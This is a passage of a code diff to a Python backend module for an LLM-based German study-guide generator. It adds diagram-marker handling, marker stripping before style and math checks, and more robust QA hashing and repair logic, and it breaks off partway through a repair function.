"Diagramm-Verify": _diagramm_verify,
|
||||||
}
|
}
|
||||||
|
|||||||
194
backend/guide.py
194
backend/guide.py
@@ -50,7 +50,51 @@ def _katex_fehler(formeln: list[dict]) -> list[str]:
|
|||||||
|
|
||||||
EBENE = "guide"
|
EBENE = "guide"
|
||||||
_MARKER = re.compile(r"<!--\s*atom:\s*(\d+)\s*\|")
|
_MARKER = re.compile(r"<!--\s*atom:\s*(\d+)\s*\|")
|
||||||
_MARKER_VOLL = re.compile(r"<!--\s*atom:[^>]*-->") # ganze Marker-Zeile (für Text-Checks)
|
# ganze Marker-Zeile — non-greedy statt [^>]*, sonst bricht ein „>" im Atom-Titel
|
||||||
|
# den Match und die Marker-Zeile bliebe in den Text-Checks stehen (Marker sind
|
||||||
|
# einzeilig, also kein DOTALL). Muster spiegelt frontend/src/markdown.js.
|
||||||
|
_MARKER_VOLL = re.compile(r"<!--\s*atom:.*?-->")
|
||||||
|
_MARKER_DIAGRAMM = re.compile(r"<!--\s*diagramm:\s*(\d+)\s*-->")
|
||||||
|
|
||||||
|
# Kurzbeschreibung je Diagramm-Typ (Writer-Angebot)
|
||||||
|
_DIAGRAMM_BESCHR = {"dependency": "Abhängigkeitsgraph der Begriffe dieses Bausteins",
|
||||||
|
"state": "Zustandsdiagramm/Automat", "flow": "Ablaufdiagramm",
|
||||||
|
"tree": "Baumstruktur"}
|
||||||
|
|
||||||
|
|
||||||
|
def _ohne_marker(text: str) -> str:
|
||||||
|
"""Marker-Zeilen entfernen: sie sind Backend-Schnittstelle, kein Fließtext.
|
||||||
|
ALLE Text-Checks (Stil, Mathe, Länge, Vorwärtsverweise) laufen auf dem
|
||||||
|
gestrippten Text — sonst erzeugen Atom-TITEL wie „a_n" oder „Satz 6.26"
|
||||||
|
unfixierbare Aufträge (der Fix darf Marker nie ändern → Endlos-Loop).
|
||||||
|
Diagramm-Marker gehören ebenso raus."""
|
||||||
|
return _MARKER_DIAGRAMM.sub("", _MARKER_VOLL.sub("", text))
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramme_von(baustein_id: int) -> list[dict]:
|
||||||
|
return db.query("SELECT * FROM diagramme WHERE baustein_id=? AND status='verifiziert'"
|
||||||
|
" ORDER BY id", (baustein_id,))
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramm_angebot(baustein_id: int) -> str:
|
||||||
|
"""Verfügbare Diagramme für den Writer — er platziert den Marker beim Absatz."""
|
||||||
|
zeilen = [f"<!-- diagramm: {d['id']} --> — {_DIAGRAMM_BESCHR.get(d['typ'], d['typ'])}"
|
||||||
|
for d in _diagramme_von(baustein_id)]
|
||||||
|
return "\n".join(zeilen) or "(keine)"
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramm_einsetzen(baustein_id: int, lang: str) -> str:
|
||||||
|
"""Assembly: `<!-- diagramm: id -->` → ```mermaid-Fence des verifizierten
|
||||||
|
Diagramms. Tote/unverifizierte Marker fallen ersatzlos weg."""
|
||||||
|
if "<!-- diagramm:" not in lang and "<!--diagramm:" not in lang:
|
||||||
|
return lang
|
||||||
|
je_id = {d["id"]: d for d in _diagramme_von(baustein_id)}
|
||||||
|
|
||||||
|
def sub(m: re.Match) -> str:
|
||||||
|
d = je_id.get(int(m.group(1)))
|
||||||
|
return f"```mermaid\n{d['mermaid']}\n```" if d and d["mermaid"] else ""
|
||||||
|
|
||||||
|
return _MARKER_DIAGRAMM.sub(sub, lang)
|
||||||
|
|
||||||
# Kritische Befund-Arten routen zurück auf den Prüfer, Stil-Arten nur in den Fix
|
# Kritische Befund-Arten routen zurück auf den Prüfer, Stil-Arten nur in den Fix
|
||||||
# (vorwaerts ist Stil: ein Halbsatz-Fix, kein Fakten-Problem)
|
# (vorwaerts ist Stil: ein Halbsatz-Fix, kein Fakten-Problem)
|
||||||
@@ -134,7 +178,8 @@ async def _stage_writer(ctx: llm.Kontext, b: dict) -> str:
|
|||||||
"atome": "\n\n".join(_atom_paket(a) for a in atome),
|
"atome": "\n\n".join(_atom_paket(a) for a in atome),
|
||||||
"min_woerter": lo, "max_woerter": hi,
|
"min_woerter": lo, "max_woerter": hi,
|
||||||
"durchgang": DURCHGANG.get(b["level"], DURCHGANG["M"]),
|
"durchgang": DURCHGANG.get(b["level"], DURCHGANG["M"]),
|
||||||
"kontext": _anknuepf_kontext(b) or "(nichts — erster Durchgang)"}
|
"kontext": _anknuepf_kontext(b) or "(nichts — erster Durchgang)",
|
||||||
|
"diagramme": _diagramm_angebot(b["id"])}
|
||||||
res = await llm.call(ctx, stage="writer", template="Guide-Writer", werte=werte,
|
res = await llm.call(ctx, stage="writer", template="Guide-Writer", werte=werte,
|
||||||
role="guide", n=len(atome), item=f"b{b['id']}", erwartet=dict)
|
role="guide", n=len(atome), item=f"b{b['id']}", erwartet=dict)
|
||||||
if res is None:
|
if res is None:
|
||||||
@@ -166,8 +211,9 @@ _FLOSKEL = re.compile(r"später (mehr|noch (ausführlicher|genauer|vertieft))"
|
|||||||
r"|späteren (Kapitel|Abschnitt|Durchgang)", re.IGNORECASE)
|
r"|späteren (Kapitel|Abschnitt|Durchgang)", re.IGNORECASE)
|
||||||
_LEAK = re.compile(r"\b(Satz|Lemma|Korollar|Bemerkung|Transformation|Definition)"
|
_LEAK = re.compile(r"\b(Satz|Lemma|Korollar|Bemerkung|Transformation|Definition)"
|
||||||
r"\s+[IVX]*\d+\.\d+|\bZeigen Sie\b")
|
r"\s+[IVX]*\d+\.\d+|\bZeigen Sie\b")
|
||||||
_EN_STOP = frozenset("the and of is that this are with for as by be from which were"
|
# ohne deutsche Homographen (an/will/not/or/is) — die flaggten deutschen Text
|
||||||
" has have not can will or an it its when each such".split())
|
_EN_STOP = frozenset("the and of that this are with for as by be from which were"
|
||||||
|
" has have can its when each such".split())
|
||||||
|
|
||||||
|
|
||||||
def _stil_auftraege(text: str, wo: str) -> list[str]:
|
def _stil_auftraege(text: str, wo: str) -> list[str]:
|
||||||
@@ -177,7 +223,7 @@ def _stil_auftraege(text: str, wo: str) -> list[str]:
|
|||||||
und unübersetzte englische Passagen (Lernen: 13 Passagen aus EN-Quellen).
|
und unübersetzte englische Passagen (Lernen: 13 Passagen aus EN-Quellen).
|
||||||
Marker-Zeilen sind Schnittstelle, kein Text — vorher strippen, sonst
|
Marker-Zeilen sind Schnittstelle, kein Text — vorher strippen, sonst
|
||||||
erzeugen Atom-TITEL wie „Satz 6.26“ unfixierbare Aufträge (Token-Loop)."""
|
erzeugen Atom-TITEL wie „Satz 6.26“ unfixierbare Aufträge (Token-Loop)."""
|
||||||
text = _MARKER_VOLL.sub("", text)
|
text = _ohne_marker(text)
|
||||||
auftraege = []
|
auftraege = []
|
||||||
for m in sorted({m.group(0) for m in _FLOSKEL.finditer(text)}):
|
for m in sorted({m.group(0) for m in _FLOSKEL.finditer(text)}):
|
||||||
auftraege.append(f"{wo}: Vertröstungs-Floskel („{m}“) streichen — den Begriff"
|
auftraege.append(f"{wo}: Vertröstungs-Floskel („{m}“) streichen — den Begriff"
|
||||||
@@ -189,7 +235,11 @@ def _stil_auftraege(text: str, wo: str) -> list[str]:
|
|||||||
f" eigenständig formulieren.")
|
f" eigenständig formulieren.")
|
||||||
for absatz in text.split("\n\n"):
|
for absatz in text.split("\n\n"):
|
||||||
toks = re.findall(r"[a-zA-Z']+", absatz.lower())
|
toks = re.findall(r"[a-zA-Z']+", absatz.lower())
|
||||||
if len(toks) >= 12 and sum(t in _EN_STOP for t in toks) / len(toks) > 0.15:
|
treffer = {t for t in toks if t in _EN_STOP} # verschiedene Stopwörter
|
||||||
|
# ≥3 VERSCHIEDENE Treffer zusätzlich zur Quote — ein deutscher Satz mit
|
||||||
|
# zufällig zwei englischen Wörtern reicht nicht mehr für einen Fehlalarm
|
||||||
|
if len(toks) >= 12 and len(treffer) >= 3 \
|
||||||
|
and sum(t in _EN_STOP for t in toks) / len(toks) > 0.15:
|
||||||
kurz = " ".join(absatz.split())[:60]
|
kurz = " ".join(absatz.split())[:60]
|
||||||
auftraege.append(f"{wo}: englische Passage („{kurz}…“) ins Deutsche"
|
auftraege.append(f"{wo}: englische Passage („{kurz}…“) ins Deutsche"
|
||||||
f" übersetzen — etablierte Fachtermini dürfen bleiben.")
|
f" übersetzen — etablierte Fachtermini dürfen bleiben.")
|
||||||
@@ -199,7 +249,10 @@ def _stil_auftraege(text: str, wo: str) -> list[str]:
|
|||||||
def _mathe_auftraege(text: str, wo: str) -> list[str]:
|
def _mathe_auftraege(text: str, wo: str) -> list[str]:
|
||||||
"""Deterministische Mathe-Hygiene je Fassung: $-Parität, nackte LaTeX-Befehle,
|
"""Deterministische Mathe-Hygiene je Fassung: $-Parität, nackte LaTeX-Befehle,
|
||||||
Klartext-Formelreste (x_i, u_{3m}, 2^(…) — aak Lauf 19: 8 Kompakt-/6
|
Klartext-Formelreste (x_i, u_{3m}, 2^(…) — aak Lauf 19: 8 Kompakt-/6
|
||||||
Lang-Fassungen betroffen)."""
|
Lang-Fassungen betroffen). Marker vorher strippen — Atom-Titel wie „a_n" oder
|
||||||
|
„A*-Suche" trafen sonst die Formelreste-Checks unfixierbar (der Fix darf den
|
||||||
|
Marker nicht ändern → Endlos-Loop)."""
|
||||||
|
text = _ohne_marker(text)
|
||||||
auftraege = []
|
auftraege = []
|
||||||
for nr, absatz in enumerate(text.split("\n\n"), 1):
|
for nr, absatz in enumerate(text.split("\n\n"), 1):
|
||||||
if absatz.count("$") % 2: # ein einzelnes $ zieht Fließtext in die Formel
|
if absatz.count("$") % 2: # ein einzelnes $ zieht Fließtext in die Formel
|
||||||
@@ -257,15 +310,16 @@ def _det_auftraege(topic: str, b: dict, lang: str, kompakt: str = "",
|
|||||||
f" (Kontext-Atom?) — Marker-Zeile ersatzlos entfernen."
|
f" (Kontext-Atom?) — Marker-Zeile ersatzlos entfernen."
|
||||||
for i in _marker_fremd_ids(lang, atome)]
|
for i in _marker_fremd_ids(lang, atome)]
|
||||||
lo, hi = _laenge_band(len(atome))
|
lo, hi = _laenge_band(len(atome))
|
||||||
woerter = len(lang.split())
|
woerter = len(_ohne_marker(lang).split()) # Marker-Tokens zählen nicht mit
|
||||||
if woerter > hi:
|
if woerter > hi:
|
||||||
auftraege.append(f"Kürzen auf höchstens {hi} Wörter (aktuell {woerter}).")
|
auftraege.append(f"Kürzen auf höchstens {hi} Wörter (aktuell {woerter}).")
|
||||||
elif woerter < lo:
|
elif woerter < lo:
|
||||||
auftraege.append(f"Ausbauen auf mindestens {lo} Wörter (aktuell {woerter}).")
|
auftraege.append(f"Ausbauen auf mindestens {lo} Wörter (aktuell {woerter}).")
|
||||||
|
# Auftrag an den Detektor angleichen: der prüft nur Titel-PRÄSENZ, also kann
|
||||||
|
# „erklären + behalten" den Befund nie schließen — nur Entfernen/Umschreiben.
|
||||||
auftraege += [f"Vorwärtsverweis „{t}“ (kommt erst in einem späteren Kapitel):"
|
auftraege += [f"Vorwärtsverweis „{t}“ (kommt erst in einem späteren Kapitel):"
|
||||||
f" beim ersten Auftreten mit bereits eingeführten Begriffen kurz"
|
f" den späteren Fachbegriff entfernen oder die Stelle ohne ihn"
|
||||||
f" erklären oder die Verwendung entfernen — nie unerklärt lassen,"
|
f" umschreiben (mit bereits eingeführten Begriffen)."
|
||||||
f" NICHT vertrösten."
|
|
||||||
for t in _vorwaertsverweise(topic, b, lang)]
|
for t in _vorwaertsverweise(topic, b, lang)]
|
||||||
zitate = sum(1 for z in lang.splitlines() if z.lstrip().startswith(">"))
|
zitate = sum(1 for z in lang.splitlines() if z.lstrip().startswith(">"))
|
||||||
if zitate: # Lehren statt Abschreiben: Rohzitate gehören nicht in den Lehrtext
|
if zitate: # Lehren statt Abschreiben: Rohzitate gehören nicht in den Lehrtext
|
||||||
@@ -316,7 +370,7 @@ def _vorwaertsverweise(topic: str, b: dict, lang: str) -> list[str]:
|
|||||||
db.query("SELECT * FROM kapitel WHERE topic=?", (topic,))}
|
db.query("SELECT * FROM kapitel WHERE topic=?", (topic,))}
|
||||||
je_baustein = {bb["id"]: kap_ord.get(bb["kapitel_id"], 0) for bb in _bausteine(topic)}
|
je_baustein = {bb["id"]: kap_ord.get(bb["kapitel_id"], 0) for bb in _bausteine(topic)}
|
||||||
mein_kapitel = je_baustein.get(b["id"], 0)
|
mein_kapitel = je_baustein.get(b["id"], 0)
|
||||||
text = textkit.norm(_MARKER_VOLL.sub("", lang))
|
text = textkit.norm(_ohne_marker(lang))
|
||||||
treffer = []
|
treffer = []
|
||||||
for a in db.query(
|
for a in db.query(
|
||||||
"SELECT a.titel, bb.id AS bid FROM atome a JOIN bausteine bb ON a.baustein_id=bb.id"
|
"SELECT a.titel, bb.id AS bid FROM atome a JOIN bausteine bb ON a.baustein_id=bb.id"
|
||||||
@@ -336,6 +390,12 @@ async def _stage_pruefer(ctx: llm.Kontext, b: dict, tag: str = "") -> str:
|
|||||||
atome = _atome_von(b["id"])
|
atome = _atome_von(b["id"])
|
||||||
ziel = db.one("SELECT text FROM lernziele WHERE id=?", (b["ziel_id"],)) or {"text": b["titel"]}
|
ziel = db.one("SELECT text FROM lernziele WHERE id=?", (b["ziel_id"],)) or {"text": b["titel"]}
|
||||||
auftraege = _det_auftraege(ctx.topic, b, sec["text_lang"], sec["text_kompakt"])
|
auftraege = _det_auftraege(ctx.topic, b, sec["text_lang"], sec["text_kompakt"])
|
||||||
|
# bereits offene KRITISCH-Aufträge übernehmen (z. B. ein aus der Ebenen-QA
|
||||||
|
# bestätigter fachlich_falsch-Claim) — der In-Card-Prüfer findet sie nicht
|
||||||
|
# immer selbst wieder, ohne dies verpuffte der Befund im Ping-Pong.
|
||||||
|
for alt in db.uj(sec["befunde"]):
|
||||||
|
if str(alt).startswith("KRITISCH") and alt not in auftraege:
|
||||||
|
auftraege.append(alt)
|
||||||
fakten = "\n\n".join(f"Atom {a['id']} ({a['titel']}): {a['definition']}\n"
|
fakten = "\n\n".join(f"Atom {a['id']} ({a['titel']}): {a['definition']}\n"
|
||||||
+ "\n".join(f"> {z}" for z in _zitate(a["id"])) for a in atome)
|
+ "\n".join(f"> {z}" for z in _zitate(a["id"])) for a in atome)
|
||||||
res = await llm.call(ctx, stage=f"pruefer{tag}", template="Guide-Pruefer",
|
res = await llm.call(ctx, stage=f"pruefer{tag}", template="Guide-Pruefer",
|
||||||
@@ -351,6 +411,7 @@ async def _stage_pruefer(ctx: llm.Kontext, b: dict, tag: str = "") -> str:
|
|||||||
auftraege.append(f"KRITISCH ({art}): {detail}")
|
auftraege.append(f"KRITISCH ({art}): {detail}")
|
||||||
elif art == "stil" and detail:
|
elif art == "stil" and detail:
|
||||||
auftraege.append(detail)
|
auftraege.append(detail)
|
||||||
|
auftraege = list(dict.fromkeys(auftraege)) # Duplikate (übernommene + neue) raus
|
||||||
db.update("sections", "baustein_id", b["id"], befunde=db.j(auftraege))
|
db.update("sections", "baustein_id", b["id"], befunde=db.j(auftraege))
|
||||||
return "fix" if auftraege else "done"
|
return "fix" if auftraege else "done"
|
||||||
|
|
||||||
@@ -423,7 +484,7 @@ async def _kapitel_intros(ctx: llm.Kontext) -> None:
|
|||||||
db.update("kapitel", "id", kap["id"], intro=intro)
|
db.update("kapitel", "id", kap["id"], intro=intro)
|
||||||
|
|
||||||
offen = db.query("SELECT * FROM kapitel WHERE topic=? AND intro=''", (ctx.topic,))
|
offen = db.query("SELECT * FROM kapitel WHERE topic=? AND intro=''", (ctx.topic,))
|
||||||
await asyncio.gather(*(einer(k) for k in offen))
|
await llm.alle(einer(k) for k in offen)
|
||||||
|
|
||||||
|
|
||||||
async def bauen(ctx: llm.Kontext) -> None:
|
async def bauen(ctx: llm.Kontext) -> None:
|
||||||
@@ -431,7 +492,7 @@ async def bauen(ctx: llm.Kontext) -> None:
|
|||||||
offen = [b for b in _bausteine(ctx.topic) if b["status"] != "fertig"
|
offen = [b for b in _bausteine(ctx.topic) if b["status"] != "fertig"
|
||||||
or (db.one("SELECT stage FROM sections WHERE baustein_id=?", (b["id"],)) or
|
or (db.one("SELECT stage FROM sections WHERE baustein_id=?", (b["id"],)) or
|
||||||
{"stage": "writer"})["stage"] != "done"]
|
{"stage": "writer"})["stage"] != "done"]
|
||||||
await asyncio.gather(*(_karte(ctx, b) for b in offen))
|
await llm.alle(_karte(ctx, b) for b in offen)
|
||||||
await _kapitel_intros(ctx)
|
await _kapitel_intros(ctx)
|
||||||
|
|
||||||
|
|
||||||
@@ -440,13 +501,14 @@ def _pruefe_dich(baustein_id: int, lang: str) -> list[dict]:
|
|||||||
Flashcard-Pool — Matching gegen den Langtext liefert die passenden Karten
|
Flashcard-Pool — Matching gegen den Langtext liefert die passenden Karten
|
||||||
(Retrieval mit Feedback wirkt ~doppelt so stark wie ohne)."""
|
(Retrieval mit Feedback wirkt ~doppelt so stark wie ohne)."""
|
||||||
out = []
|
out = []
|
||||||
for a in _atome_von(baustein_id):
|
lang_norm = textkit.norm(lang) # Case/Whitespace-tolerant — ein Stil-Fix an der
|
||||||
|
for a in _atome_von(baustein_id): # Frage ließ das rohe Substring-Matching scheitern
|
||||||
for r in db.query("SELECT inhalt FROM artefakte WHERE atom_id=? AND"
|
for r in db.query("SELECT inhalt FROM artefakte WHERE atom_id=? AND"
|
||||||
" typ='flashcard' AND status='verifiziert'", (a["id"],)):
|
" typ='flashcard' AND status='verifiziert'", (a["id"],)):
|
||||||
fc = db.uj(r["inhalt"], {})
|
fc = db.uj(r["inhalt"], {})
|
||||||
frage = str(fc.get("frage", "")).strip()
|
frage = str(fc.get("frage", "")).strip()
|
||||||
antwort = str(fc.get("antwort", "")).strip()
|
antwort = str(fc.get("antwort", "")).strip()
|
||||||
if frage and antwort and frage in lang:
|
if frage and antwort and textkit.norm(frage) in lang_norm:
|
||||||
out.append({"frage": frage, "antwort": antwort})
|
out.append({"frage": frage, "antwort": antwort})
|
||||||
return out
|
return out
|
||||||
|
|
||||||
@@ -461,18 +523,31 @@ def kapitel_struktur(topic: str) -> list[dict]:
|
|||||||
for b in _bausteine(topic):
|
for b in _bausteine(topic):
|
||||||
sec = db.one("SELECT * FROM sections WHERE baustein_id=?", (b["id"],))
|
sec = db.one("SELECT * FROM sections WHERE baustein_id=?", (b["id"],))
|
||||||
k_id = b["kapitel_id"] if b["kapitel_id"] in kaps else None
|
k_id = b["kapitel_id"] if b["kapitel_id"] in kaps else None
|
||||||
if not kapitel or kapitel[-1]["kapitel_id"] != k_id:
|
# neue Gruppe bei Kapitelwechsel — bei einer kapitellosen (NULL-)Gruppe
|
||||||
|
# zusätzlich bei Level-Wechsel, sonst mischt ein „Weitere Themen"-Block
|
||||||
|
# E-, M- und S-Bausteine und erbt fälschlich das Level des ersten.
|
||||||
|
neu = (not kapitel or kapitel[-1]["_kid"] != k_id
|
||||||
|
or (k_id is None and kapitel[-1]["level"] != b["level"]))
|
||||||
|
if neu:
|
||||||
k = kaps.get(k_id, {})
|
k = kaps.get(k_id, {})
|
||||||
kapitel.append({"kapitel_id": k_id, "titel": k.get("titel", "Weitere Themen"),
|
kapitel.append({"kapitel_id": k_id, "_kid": k_id,
|
||||||
|
"titel": k.get("titel", "Weitere Themen"),
|
||||||
"intro": k.get("intro", ""),
|
"intro": k.get("intro", ""),
|
||||||
"level": k.get("level", b["level"]), "sections": []})
|
"level": k.get("level", b["level"]), "sections": []})
|
||||||
lang = sec["text_lang"] if sec else ""
|
# Diagramm-Marker gegen den ```mermaid-Fence tauschen (Assembly-Schritt);
|
||||||
|
# Atom-Marker bleiben — die strippt erst das Frontend.
|
||||||
|
lang = _diagramm_einsetzen(b["id"], sec["text_lang"]) if sec else ""
|
||||||
kapitel[-1]["sections"].append({
|
kapitel[-1]["sections"].append({
|
||||||
"baustein": b["id"], "titel": b["titel"],
|
"baustein": b["id"], "titel": b["titel"],
|
||||||
"ziel": ziele.get(b["ziel_id"], {}).get("text", ""),
|
"ziel": ziele.get(b["ziel_id"], {}).get("text", ""),
|
||||||
"kompakt": sec["text_kompakt"] if sec else "",
|
"kompakt": sec["text_kompakt"] if sec else "",
|
||||||
"lang": lang,
|
"lang": lang,
|
||||||
"fragen": _pruefe_dich(b["id"], lang) if lang else []})
|
"fragen": _pruefe_dich(b["id"], lang) if lang else []})
|
||||||
|
# NULL-kapitel_id durch eindeutige synthetische Keys ersetzen — mehrere
|
||||||
|
# kapitellose Gruppen kollidierten sonst im Vue-:key (null == null).
|
||||||
|
for i, kap in enumerate(kapitel):
|
||||||
|
if kap.pop("_kid") is None:
|
||||||
|
kap["kapitel_id"] = f"frei-{i}"
|
||||||
return kapitel
|
return kapitel
|
||||||
|
|
||||||
|
|
||||||
@@ -512,9 +587,20 @@ def messen(ctx: llm.Kontext) -> list[dict]:
|
|||||||
for i in _marker_fremd_ids(lang, atome):
|
for i in _marker_fremd_ids(lang, atome):
|
||||||
befunde.append({"art": "marker_fremd", "item": str(b["id"]),
|
befunde.append({"art": "marker_fremd", "item": str(b["id"]),
|
||||||
"detail": f"Atom {i}"})
|
"detail": f"Atom {i}"})
|
||||||
|
gueltige_d = {d["id"] for d in _diagramme_von(b["id"])}
|
||||||
|
for m in _MARKER_DIAGRAMM.findall(lang):
|
||||||
|
if int(m) not in gueltige_d: # Marker ohne verifiziertes Diagramm → entfernen
|
||||||
|
befunde.append({"art": "diagramm_marker_tot", "item": str(b["id"]),
|
||||||
|
"detail": f"Stray Diagramm-Marker <!-- diagramm: {m} -->"
|
||||||
|
f" entfernen (kein solches verifiziertes Diagramm)"})
|
||||||
for auftrag in _det_auftraege(ctx.topic, b, lang, sec["text_kompakt"], qa=True):
|
for auftrag in _det_auftraege(ctx.topic, b, lang, sec["text_kompakt"], qa=True):
|
||||||
befunde.append({"art": "det_check", "item": str(b["id"]),
|
befunde.append({"art": "det_check", "item": str(b["id"]),
|
||||||
"detail": auftrag[:300]})
|
"detail": auftrag[:300]})
|
||||||
|
# Rest-Aufträge eines gescheiterten Fix (stage bleibt „done", befunde nicht
|
||||||
|
# geleert) sichtbar machen — sonst passiert eine bekannte Lücke das Gate.
|
||||||
|
for auftrag in db.uj(sec["befunde"]):
|
||||||
|
befunde.append({"art": "fix_offen", "item": str(b["id"]),
|
||||||
|
"detail": str(auftrag)[:300]})
|
||||||
ziel = db.one("SELECT text FROM lernziele WHERE id=?", (b["ziel_id"],))
|
ziel = db.one("SELECT text FROM lernziele WHERE id=?", (b["ziel_id"],))
|
||||||
if ziel:
|
if ziel:
|
||||||
noetig = _stopfrei(ziel["text"])
|
noetig = _stopfrei(ziel["text"])
|
||||||
@@ -541,9 +627,15 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]:
|
|||||||
import hashlib
|
import hashlib
|
||||||
ctx.ebene = EBENE
|
ctx.ebene = EBENE
|
||||||
befunde = []
|
befunde = []
|
||||||
|
# topic-scoped (nicht run-scoped): ein in Run N bestätigter Fakten-Fehler bleibt
|
||||||
|
# nach Pause/Resume (Run N+1) sichtbar, sonst greift der qa_hash-Skip fälschlich.
|
||||||
offene_falsch = {b["item"] for b in db.query(
|
offene_falsch = {b["item"] for b in db.query(
|
||||||
"SELECT item FROM befunde WHERE run_id=? AND ebene=? AND art='fachlich_falsch'"
|
"SELECT b.item FROM befunde b JOIN runs r ON r.id=b.run_id"
|
||||||
" AND status='offen'", (ctx.run_id, EBENE))}
|
" WHERE r.topic=? AND b.ebene=? AND b.art='fachlich_falsch' AND b.status='offen'",
|
||||||
|
(ctx.topic, EBENE))}
|
||||||
|
|
||||||
|
def hash_setzen(bid: int, h: str) -> None:
|
||||||
|
db.execute("UPDATE sections SET qa_hash=? WHERE baustein_id=?", (h, bid))
|
||||||
|
|
||||||
async def eine(b: dict) -> None:
|
async def eine(b: dict) -> None:
|
||||||
sec = db.one("SELECT * FROM sections WHERE baustein_id=?", (b["id"],))
|
sec = db.one("SELECT * FROM sections WHERE baustein_id=?", (b["id"],))
|
||||||
@@ -552,16 +644,20 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]:
|
|||||||
h = hashlib.sha256(sec["text_lang"].encode()).hexdigest()[:12]
|
h = hashlib.sha256(sec["text_lang"].encode()).hexdigest()[:12]
|
||||||
if h == sec["qa_hash"] and str(b["id"]) not in offene_falsch:
|
if h == sec["qa_hash"] and str(b["id"]) not in offene_falsch:
|
||||||
return # unverändert und sauber — kein Re-Check
|
return # unverändert und sauber — kein Re-Check
|
||||||
db.execute("UPDATE sections SET qa_hash=? WHERE baustein_id=?", (h, b["id"]))
|
# qa_hash ERST nach vollständiger Prüfung setzen — bei Call-/Panel-Ausfall
|
||||||
|
# bleibt die Section ungeprüft (fail-closed statt fail-open).
|
||||||
atome = _atome_von(b["id"])
|
atome = _atome_von(b["id"])
|
||||||
fakten = "\n".join(f"- {a['titel']}: " + " | ".join(_zitate(a["id"], 2)) for a in atome)
|
fakten = "\n".join(f"- {a['titel']}: " + " | ".join(_zitate(a["id"], 2)) for a in atome)
|
||||||
verdacht = await llm.call(ctx, stage="qa_falsch", template="QA-Guide-Falsch",
|
verdacht = await llm.call(ctx, stage="qa_falsch", template="QA-Guide-Falsch",
|
||||||
schritt="qa_judge", role="judge", item=f"b{b['id']}",
|
schritt="qa_judge", role="judge", item=f"b{b['id']}",
|
||||||
werte={"fakten": fakten, "text": sec["text_lang"]},
|
werte={"fakten": fakten, "text": sec["text_lang"]},
|
||||||
erwartet=list)
|
erwartet=list)
|
||||||
claims = [str(c.get("claim", "")).strip() for c in verdacht or []
|
if verdacht is None:
|
||||||
|
return # Verdachts-Call ausgefallen → nächste Runde erneut, kein Hash
|
||||||
|
claims = [str(c.get("claim", "")).strip() for c in verdacht
|
||||||
if isinstance(c, dict) and c.get("claim")]
|
if isinstance(c, dict) and c.get("claim")]
|
||||||
if not claims:
|
if not claims:
|
||||||
|
hash_setzen(b["id"], h) # sauber geprüft
|
||||||
return
|
return
|
||||||
stimmen = await llm.panel(ctx, 2, stage="qa_falsch_check", template="QA-Guide-Falsch-Check",
|
stimmen = await llm.panel(ctx, 2, stage="qa_falsch_check", template="QA-Guide-Falsch-Check",
|
||||||
schritt="qa_judge", role="judge", item=f"b{b['id']}",
|
schritt="qa_judge", role="judge", item=f"b{b['id']}",
|
||||||
@@ -569,20 +665,34 @@ async def messen_llm(ctx: llm.Kontext) -> list[dict]:
|
|||||||
"claims": "\n".join(f"{i + 1}: {c}"
|
"claims": "\n".join(f"{i + 1}: {c}"
|
||||||
for i, c in enumerate(claims))},
|
for i, c in enumerate(claims))},
|
||||||
erwartet=list)
|
erwartet=list)
|
||||||
|
if not stimmen:
|
||||||
|
return # Panel-Ausfall → kein Hash, nächste Runde prüft erneut
|
||||||
for i, claim in enumerate(claims, 1):
|
for i, claim in enumerate(claims, 1):
|
||||||
ja = sum(1 for s in stimmen for e in s
|
ja = sum(1 for s in stimmen for e in s
|
||||||
if isinstance(e, dict) and e.get("claim") == i and e.get("falsch"))
|
if isinstance(e, dict) and e.get("claim") == i and e.get("falsch"))
|
||||||
if ja >= 2:
|
if ja >= 2:
|
||||||
befunde.append({"art": "fachlich_falsch", "item": str(b["id"]),
|
befunde.append({"art": "fachlich_falsch", "item": str(b["id"]),
|
||||||
"detail": claim[:200]})
|
"detail": claim[:200]})
|
||||||
|
hash_setzen(b["id"], h) # vollständig geprüft
|
||||||
|
|
||||||
await asyncio.gather(*(eine(b) for b in _bausteine(ctx.topic)))
|
await llm.alle(eine(b) for b in _bausteine(ctx.topic))
|
||||||
return befunde
|
return befunde
|
||||||
|
|
||||||
|
|
||||||
|
def _text_sig(b_id: int) -> str:
|
||||||
|
import hashlib
|
||||||
|
s = db.one("SELECT text_kompakt, text_lang FROM sections WHERE baustein_id=?", (b_id,))
|
||||||
|
if not s:
|
||||||
|
return ""
|
||||||
|
roh = (s["text_kompakt"] or "") + "\x00" + (s["text_lang"] or "")
|
||||||
|
return hashlib.sha256(roh.encode()).hexdigest()[:16]
|
||||||
|
|
||||||
|
|
||||||
async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
||||||
"""Kritische Befunde → zurück auf pruefer (voller Kontext + Re-Check);
|
"""Kritische Befunde → zurück auf pruefer (voller Kontext + Re-Check);
|
||||||
Stil-Befunde → direkt in den Fix (genau ein Rewrite)."""
|
Stil-Befunde → direkt in den Fix (genau ein Rewrite). Rückgabe ist ehrlich:
|
||||||
|
True nur, wenn sich Section-Text tatsächlich geändert hat — sonst erkennt
|
||||||
|
auto_loop nie Stillstand und dreht alle 10 Iterationen wirkungslos durch."""
|
||||||
ctx.ebene = EBENE
|
ctx.ebene = EBENE
|
||||||
betroffen: dict[int, list[dict]] = {}
|
betroffen: dict[int, list[dict]] = {}
|
||||||
for b in befunde:
|
for b in befunde:
|
||||||
@@ -591,17 +701,35 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
|||||||
except (ValueError, TypeError):
|
except (ValueError, TypeError):
|
||||||
continue
|
continue
|
||||||
betroffen.setdefault(b_id, []).append(b)
|
betroffen.setdefault(b_id, []).append(b)
|
||||||
|
if not betroffen:
|
||||||
|
return False
|
||||||
for b_id, liste in betroffen.items():
|
for b_id, liste in betroffen.items():
|
||||||
arten = [x["art"] for x in liste]
|
arten = [x["art"] for x in liste]
|
||||||
if any(a in KRITISCH or a == "section_fehlt" for a in arten):
|
# ein fix_offen-Detail mit KRITISCH-Präfix ist ebenfalls kritisch
|
||||||
stage = "writer" if "section_fehlt" in arten else "pruefer"
|
kritisch_detail = any(x["art"] == "fix_offen"
|
||||||
db.execute("UPDATE sections SET stage=? WHERE baustein_id=?", (stage, b_id))
|
and str(x["detail"]).startswith("KRITISCH") for x in liste)
|
||||||
|
